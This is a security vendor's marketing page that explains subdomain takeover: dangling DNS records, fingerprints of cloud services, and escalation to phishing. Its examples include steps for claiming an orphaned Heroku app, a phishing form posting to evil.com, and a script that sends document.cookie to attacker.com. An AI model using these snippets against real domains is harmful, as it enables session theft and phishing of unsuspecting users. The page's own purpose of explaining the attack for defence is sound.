Subdomain Takeover
Your Old Subdomain. Someone Else's Website.
You spun up a blog on blog.example.com two years ago. The project died, so you deleted the hosting account. But did you delete the DNS record pointing to it? Probably not. Now that dangling DNS record is pointing at nothing, and anyone can claim it. They register the same hosting account, and suddenly your subdomain serves their content. Your SSL certificate. Your brand. Their phishing page. This is subdomain takeover, and your DNS is almost certainly hiding at least one vulnerability.
That Subdomain You Forgot About? Someone Else Remembers.
Here is something that happens at every company, without exception. A developer spins up a staging environment on staging.yourcompany.com. They point a CNAME record to Heroku, or GitHub Pages, or an S3 bucket, or Azure, or any of the dozens of cloud services that host websites. The project launches, or dies, or gets migrated. Either way, someone deletes the cloud resource. But the DNS record? That stays forever.
According to Mozilla's security documentation, a subdomain takeover happens when an attacker gains control over a subdomain because its CNAME record points to an external service that no longer exists. The attacker simply registers the same resource on that cloud service, and the DNS dutifully routes your subdomain's traffic to their server.
What makes this particularly nasty? No hacking required. They are not breaking into your systems. They are not exploiting a code vulnerability. They are just claiming an orphaned resource that your DNS still points to. And once they have it, they own a subdomain under your domain name, complete with any trust users place in it.
Think your application is immune?
PentestMate's AI agents find these flaws in 87% of the apps we test.
What Our AI Agents Look For
Unlike automated scanners that look for code signatures, our agents understand your business logic and test it like a real attacker would.
CNAME to Decommissioned Service
CRITICALThe classic subdomain takeover scenario. Your subdomain points to a cloud service (Heroku, Azure, AWS S3, GitHub Pages) that no longer exists. We scan for dangling DNS records pointing to claimable resources on known vulnerable services.
Expired Third-Party Service
CRITICALSaaS platforms, marketing tools, and CDN providers come and go. If your trial expired or account was deleted but the CNAME remains, attackers can register a new account and claim your subdomain.
Abandoned A Records
HIGHWhile CNAME takeovers get the headlines, A records pointing to released IP addresses can also be hijacked. When cloud instances are terminated, their IPs return to the pool, and someone else can claim them.
NS Delegation Takeover
CRITICALIf a subdomain delegates DNS to an external nameserver that is no longer under your control, attackers can claim that nameserver and serve arbitrary records for your subdomain.
Service-Specific Fingerprinting
HIGHDifferent cloud services return different error messages when a resource does not exist. We fingerprint these responses to identify exactly which services are vulnerable and whether they can be claimed.
Stale MX and TXT Records
MEDIUMEmail and verification records can also be hijacked. Stale MX records pointing to defunct services can allow attackers to receive emails for your subdomain.
“A subdomain takeover can happen because either a virtual host hasn't been published yet or a virtual host has been removed. An attacker can take over that subdomain by providing their own virtual host and then hosting their own content for it.”
Why Subdomain Takeover Is a Ticking Time Bomb in Your DNS
Your DNS zone file is probably full of historical cruft. Every marketing campaign, every development environment, every third-party integration leaves behind DNS records. Let me show you exactly how attackers exploit these forgotten records and why this vulnerability is so widespread.
The Anatomy of a Subdomain Takeover
Understanding subdomain takeover starts with understanding how DNS and cloud hosting interact. When you create a subdomain pointing to a cloud service, you are creating a permanent pointer that exists independently of the service itself. Here is what that looks like in practice.
# Step 1: You set up a blog two years ago
# DNS record created:
blog.example.com. CNAME example-blog.herokuapp.com.
# Step 2: Project cancelled, Heroku app deleted
# But DNS record remains pointing to nothing
# Step 3: Attacker checks if the Heroku app name is available
$ curl -I https://blog.example.com
HTTP/1.1 404 No such app
# Heroku's specific error fingerprint: takeover possible!
# Step 4: Attacker creates Heroku app with same name
$ heroku create example-blog
Creating example-blog... done
# Step 5: Attacker's content now serves on YOUR subdomain
$ curl https://blog.example.com
<html>
<body>
<h1>Totally Legitimate Page</h1>
<form action="https://evil.com/steal">
Enter your example.com credentials...
</form>
</body>
</html>
# The attacker now controls blog.example.com
# Complete with your domain's reputationThis exact attack pattern has been demonstrated against major corporations, government agencies, and thousands of smaller organizations. A subdomain takeover scanner can detect these vulnerabilities before attackers claim them.
The Cookie Theft Escalation
Here is where subdomain takeover gets really dangerous. When a browser sets a cookie on example.com, that cookie is often accessible to all subdomains. An attacker controlling blog.example.com can steal session tokens, authentication cookies, and any other cookies scoped to the parent domain.
// Your main application sets cookies like this:
document.cookie = "session=abc123; domain=example.com; path=/";
// This cookie is now accessible to ALL subdomains:
// - www.example.com (your main site)
// - app.example.com (your application)
// - blog.example.com (the hijacked subdomain!)
// Attacker's script on the hijacked blog.example.com:
<script>
// Steal all cookies accessible to this subdomain
const cookies = document.cookie;
// Send to attacker's server
fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify({
cookies: cookies,
victim: window.location.href
})
});
// With the session cookie, attacker can now
// impersonate users on your main application
</script>
// Even worse: if you use Single Sign-On across subdomains,
// one takeover compromises access to everythingThis is why dangling DNS records are more than just a cleanup issue. They are a direct path to compromising user sessions on your main application. According to Mozilla, this cookie access is one of the most serious consequences of subdomain takeover.
Service Fingerprinting: Knowing What to Claim
Not all cloud services are equally vulnerable to takeover. Some verify domain ownership, while others allow anyone to claim any subdomain. Attackers (and our subdomain takeover scanner) identify vulnerable services by their error responses.
# Each service returns a distinctive error when a resource is missing
# GitHub Pages (takeover possible)
$ curl -I blog.example.com
HTTP/1.1 404 Not Found
# Response body: "There isn't a GitHub Pages site here."
# Heroku (takeover possible if app name is available)
$ curl -I staging.example.com
HTTP/1.1 404 No such app
# Response: "Heroku | No such app"
# AWS S3 (takeover possible if bucket name is available)
$ curl -I assets.example.com
HTTP/1.1 404 Not Found
# Response: "NoSuchBucket" in XML
# Shopify (takeover possible)
$ curl -I shop.example.com
HTTP/1.1 404 Not Found
# Response: "Sorry, this shop is currently unavailable."
# Azure (takeover possible if subdomain is available)
$ curl -I app.example.com
HTTP/1.1 404 Web Site not found
# Response: "404 Web Site not found"
# Our scanner checks for 100+ service fingerprints
# and determines which subdomains are actively claimableThe community maintains a list of vulnerable services and their fingerprints. Our scanner uses this knowledge to identify exactly which of your subdomains are at risk and on which platform they can be claimed.
The Phishing Amplifier
A phishing email from security@random-domain.com might trigger suspicion. But a phishing email that links to login.yourcompany.com? That passes every gut check. Subdomain takeover turns your own domain into a weapon against your users.
# Attacker's phishing campaign after subdomain takeover
From: security@yourcompany.com # Spoofed sender
To: victim@client.com
Subject: Urgent: Verify your account
Dear Customer,
We've detected unusual activity on your account.
Please verify your identity immediately:
https://secure-login.yourcompany.com/verify
# This URL is YOUR domain, taken over by the attacker
# The victim sees a legitimate-looking URL
# Their browser shows the padlock (valid SSL from Let's Encrypt)
# The page looks exactly like your login
# When they enter credentials:
POST https://secure-login.yourcompany.com/auth
{
"email": "victim@client.com",
"password": "their_actual_password"
}
# Attacker captures credentials, then redirects to real site
# Victim never knows they were phished
# This bypasses:
# - URL suspicion (it's your domain)
# - SSL warnings (attacker gets their own cert)
# - Security training ("look for the padlock")With a takeover, attackers can obtain valid SSL certificates for your subdomain through services like Let's Encrypt. The padlock icon appears. The URL looks legitimate. Your users have no visual indication that anything is wrong.
Still reading? Good. That means you care about security.
Most people would've clicked away by now. Let PentestMate find out if your application has these vulnerabilities - before someone else does.
Stop Reading About Vulnerabilities.
Start Finding Them.
Everything you have read above? Our AI agents test for all of it - automatically, continuously, and without you lifting a finger.
Comprehensive DNS Scanning
Our subdomain takeover scanner enumerates all your subdomains (including those you have forgotten) and checks each DNS record against known vulnerable service fingerprints.
Continuous Monitoring
DNS changes constantly. Our AI agents monitor your zone files around the clock, alerting you when new dangling DNS records appear or when previously safe subdomains become vulnerable.
Instant Vulnerability Alerts
When we detect a subdomain pointing to a claimable resource, you get notified immediately. Fix dangling DNS records before someone else claims your subdomain.
Start with a $1 trial - full access to all PentestMate AI-powered security testing
Quick Business Logic Security Checklist
Use this as a starting point. If you're missing even one of these, you have a problem.
DNS Hygiene
- Maintain an inventory of all subdomains
- Remove DNS records when decommissioning services
- Audit DNS zone files quarterly
- Use automation to track DNS record changes
- Document the purpose of each subdomain
Cloud Service Management
- Delete DNS records BEFORE deleting cloud resources
- Use unique, hard-to-guess names for cloud resources
- Monitor for expiring SaaS subscriptions
- Verify third-party services still exist
- Prefer services that verify domain ownership
Cookie Security
- Scope cookies to specific subdomains when possible
- Use the __Host- prefix for sensitive cookies
- Implement the Secure and HttpOnly flags
- Avoid setting cookies on the root domain
- Review cookie scope in security audits
Monitoring and Detection
- Run regular subdomain takeover scans
- Monitor for new subdomains in your zone
- Alert on DNS record changes
- Check Certificate Transparency logs
- Test dangling DNS records periodically
Not sure if your system passes all these checks? Let PentestMate's AI agents find out for you.
Run Automated Security TestingReal-World Business Logic Breaches
These aren't hypotheticals. These are real companies that got burned by the exact vulnerabilities we've discussed:
U.S. Government (.gov domains)
Potential for nation-state phishing attacks using trusted government domainsWhat happened: Multiple .gov subdomains found vulnerable to takeover, pointing to decommissioned cloud services
Lesson: Even organizations with strict security requirements have dangling DNS records. The attack surface grows with every new cloud service and subdomain. Regular scanning with a subdomain takeover scanner is essential. (Source: Bugcrowd disclosures)
Multiple Fortune 500 Companies
Brand impersonation risk, potential cookie theft, phishing attack vectorWhat happened: Subdomains pointing to expired Azure, Heroku, and GitHub Pages instances discovered by security researchers
Lesson: Large organizations with many subdomains and distributed teams are especially vulnerable. Without centralized DNS management and automated scanning, dangling DNS records accumulate over time.
How Many Dangling DNS Records Are Hiding in Your Zone Files?
Every cloud service you have ever used, every marketing campaign, every development environment - they all leave DNS records behind. Our AI agents scan your entire subdomain footprint, check each record against known vulnerable services, and alert you the moment a subdomain becomes claimable. Find your dangling DNS records before someone else claims them.
Related Security Tests
Explore more security testing capabilities on our main site.
Back to PentestMate